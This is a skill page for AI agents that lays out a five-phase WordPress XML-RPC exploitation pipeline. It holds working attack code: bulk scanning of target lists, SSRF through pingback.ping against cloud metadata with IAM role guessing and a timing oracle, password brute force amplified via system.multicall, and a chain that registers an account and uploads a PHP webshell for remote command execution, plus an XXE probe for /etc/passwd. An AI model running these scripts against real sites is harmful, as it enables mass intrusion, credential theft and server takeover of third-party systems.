# Xmlrpc Exploitation

> Exploit XMLRPC multicall, pingback for brute force and SSRF.

- Skill: `uphiago/xmlrpc-exploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add uphiago/xmlrpc-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/uphiago/xmlrpc-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: uphiago (https://skillmd.com/u/uphiago)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/uphiago/xmlrpc-exploitation

---


# XMLRPC Exploitation Skill

5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via `pingback.ping`, amplified brute force via `system.multicall` (1000x amplification), and RCE via `wp.uploadFile` when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.

## When to Use

- `wp-mass-recon` detected XMLRPC returning HTTP 200 on POST.
- Target has WordPress with open registration (chain: upload → webshell → RCE).
- Need a brute-force amplification vector for WordPress credentials.
- Probing for internal SSRF via `pingback.ping` to cloud metadata endpoints.

## Prerequisites

- `terminal` with curl.
- Target has confirmed XMLRPC endpoint (`/xmlrpc.php` returns 200 on POST with `demo.sayHello`).
- For RCE chain: target must have open registration or another file upload path.
- For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.

## How to Run

```bash
# Phase 1: Bulk detection on target list
while read -r domain; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
  [[ "$code" == "200" ]] && echo "OPEN: $domain"
  sleep 0.3
done < targets.txt

# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
```

## Quick Reference

| Method | Capability | Severity |
|--------|-----------|----------|
| `demo.sayHello` | Confirms XMLRPC is alive | Info |
| `system.listMethods` | Enumerate all available methods | Info |
| `system.multicall` | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
| `pingback.ping` | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
| `wp.getUsers` | Enumerate WordPress users | Medium |
| `wp.getPosts` | List published posts | Low |
| `wp.uploadFile` | Upload file to media library | Critical — webshell when combined with open reg |
| `wp.getOptions` | Read WordPress options (siteurl, admin_email) | Medium |
| `wp.getPostStatusList` | Get post statuses | Low |

## Procedure

### Phase 1 — Bulk Detection

```bash
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt

echo "domain,code,hello" > xmlrpc_open.csv

while read -r domain; do
  resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
  if echo "$resp" | grep -q "Hello"; then
    echo "$domain,200,yes" >> xmlrpc_open.csv
    echo "[OPEN] $domain"
  fi
done < targets.txt
```

### Phase 2 — Method Enumeration

```bash
TARGET="$1"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -H "Accept-Encoding: identity" \
  -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
  | python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
```

Key methods to look for: `system.multicall`, `pingback.ping`, `wp.uploadFile`, `wp.getUsers`, `wp.getOptions`.

### Phase 3 — SSRF via pingback.ping

```bash
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>$CALLBACK</string></value></param>
    <param><value><string>https://$TARGET/?p=1</string></value></param>
  </params>
</methodCall>"
```

If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include `Accept-Encoding: identity` to avoid LiteSpeed gzip):

```bash
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>'

# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
       "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
       "webserver-role" "app-role" "default")

for role in "${ROLES[@]}"; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
    -H "Content-Type: text/xml" \
    -d "<?xml version=\"1.0\"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
    <param><value><string>https://TARGET/?p=1</string></value></param>
  </params>
</methodCall>" 2>/dev/null)

  fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
  echo "  role=$role -> faultCode ${fc:-no-fault}"
  sleep 0.5
done
```

`faultCode 0` on a pingback to an internal address confirms the request reached the target. `faultCode 17` or `32` means blocked or unreachable.

### Phase 3b — Blind SSRF Data Extraction via Timing Oracle

When `pingback.ping` returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use **timing differences** to extract data character-by-character or enumerate IAM roles.

**How it works:** The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.

**IAM Role Enumeration:**
```python
import subprocess, time

TARGET = "target.com"

def ssrf_time(url):
    xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
    start = time.perf_counter()
    subprocess.run(["curl", "-sk", "-X", "POST",
        f"https://{TARGET}/xmlrpc.php",
        "-H", "Content-Type: text/xml", "-d", xml],
        capture_output=True, timeout=15)
    return time.perf_counter() - start

# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")

# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
         "SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
    t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
    exists = "FOUND" if t > baseline * 1.15 else "404"
    print(f"  {role}: {t:.3f}s -> {exists}")
```

**From field (retail.example.com, June 2026):**
- IMDS `/meta-data/`: 344ms (large response — list of paths)
- IMDS `/iam/security-credentials/`: 435ms (very large — IAM role listing)
- IMDS `/instance-id`: 301ms (small — short string)

**Pitfall:** Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.

### Phase 4 — Amplified Brute Force (system.multicall)

`system.multicall` allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ `wp.getUsers` calls with different credentials, giving 1000x amplification over sequential requests.

```bash
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"

# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
    xml += f'''<value><struct>
  <member><name>methodName</name><value><string>wp.getUsers</string></value></member>
  <member><name>params</name><value><array><data>
    <value><string>{pw}</string></value>
  </data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d @/tmp/multicall_payload.xml
```

A successful auth in the response will show user data instead of `faultCode 403`.

### Phase 5 — RCE via Open Registration + wp.uploadFile

If the target has open registration AND XMLRPC with `wp.uploadFile`:

```bash
TARGET="$1"

# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
  -d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"

# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
  echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
  echo "SUBSCRIBER - upload blocked. Need escalation first:"
  echo "  a) Brute force admin (system.multicall 1000 pwd/req)"
  echo "  b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
  echo "  c) Check if default role changed by plugin"
  exit 1
fi

# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')

curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d "<?xml version=\\\"1.0\\\"?>
<methodCall>
  <methodName>wp.uploadFile</methodName>
  <params>
    <param><value><string>1</string></value></param>
    <param><value><string>attackusr</string></value></param>
    <param><value><string>password123</string></value></param>
    <param><value><struct>
      <member><name>name</name><value><string>shell.php</string></value></member>
      <member><name>type</name><value><string>application/x-php</string></value></member>
      <member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
    </struct></value></param>
  </params>
</methodCall>"

# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
```

## Retesting Behavior

Test the original XML-RPC URL without following redirects, then inspect any
redirect target separately. Redirect-following can replace a protocol response
with an HTML page and create a false regression. A change in status code is not
enough to classify the endpoint; require a protocol-valid response body or the
expected controlled callback.

## Pitfalls

- **faultCode 0 on pingback ≠ SSRF confirmed.** Some servers return faultCode 0 for all pingbacks. Verify with your own Collaborator callback first (the definitive test).
- **faultCode parsing:** Use `re.search(r'faultCode[^0-9]*([0-9]+)', r.text)` to reliably extract fault codes. `faultCode 0` = accepted, `faultCode 17` = URL not found, `faultCode 32` = blocked/error.
- **system.multicall may be restricted.** Some hosts expose it in `system.listMethods` but return faultCode on actual use. Test with a single call before building multi-call payloads.
- **Redirect-follow (`-L`) can hide XML-RPC POST responses.** Capture the
  original response without `-L`; investigate redirects as separate endpoints.
- **LiteSpeed HTTP 500 on multicall.** LiteSpeed returns HTTP 500 for multicall payloads >50kb, even when the methods inside succeed. STILL CHECK THE BODY on HTTP 500 — look for `isAdmin`, `blogid`, or `blogName` strings. Use smaller batch sizes (50 passwords/request instead of 100).
- **Alternate IP encodings change parser behavior.** Test them only when the
  authorization explicitly includes SSRF filter-bypass validation.
- **Large multicall batches amplify load.** Start with one method call and
  increase only within the agreed request and authentication-testing limits.
- **BusyBox grep lacks `-P`.** Minimal environments may provide BusyBox grep,
  which does not support Perl-compatible regular expressions. Use `grep -oE`
  or Python for complex matching.
- **All ports return faultCode 0 on pingback SSRF.** WordPress pingback.ping returns faultCode 0 for all internal IPs regardless of whether the port is actually open. The response does NOT distinguish open vs closed ports. For port scanning, use timing-based detection: an open port with a listening service returns faster (under 1s) than a closed port (timeout). But even this is unreliable through CDN-cached XMLRPC handlers.
- **system.multicall success markers.** A successful auth in multicall response shows `isAdmin`, `blogid`, or `blogName` — not just absence of faultCode 403. Check for ALL three keywords.
- **LiteSpeed gzip compression.** LiteSpeed compresses XMLRPC responses with gzip even without Accept-Encoding. Add `-H "Accept-Encoding: identity"` to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.
- **Regex portability matters.** When only BusyBox grep is available, use
  Python for expressions that require PCRE features.
- **wp.uploadFile requires authentication.** Without valid credentials or open registration, this is not exploitable. **IMPORTANT: Even with valid credentials, WordPress 6.x registers new users as SUBSCRIBER — and subscribers cannot upload files via XMLRPC.** Always verify role via `wp.getProfile` before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- **Mailinator password reset flow.** WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the `key=...` from the URL, (2) GET the reset page to get `wp-resetpass-*` cookie, (3) POST new password. The `rp_key` parameter from the email URL is required — the HTML form may not auto-fill it.
- **XXE in XMLRPC:** Older PHP/libxml2 versions parse XMLRPC with external entities enabled. Probe with `<!ENTITY xxe SYSTEM "file:///etc/passwd">` as bonus vector.
- **IMDSv2 blocks pingback:** IMDSv2 requires `X-aws-ec2-metadata-token` header (PUT to `/latest/api/token`). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.

## Verification

- `demo.sayHello` MUST return `Hello!` in the response body to confirm XMLRPC is functional.
- `pingback.ping` SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).
- `system.multicall` MUST return distinct responses for each embedded method call.
- RCE chain MUST produce `id` or `whoami` output from the uploaded webshell.
- IMDS role guessing: `faultCode 0` on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."

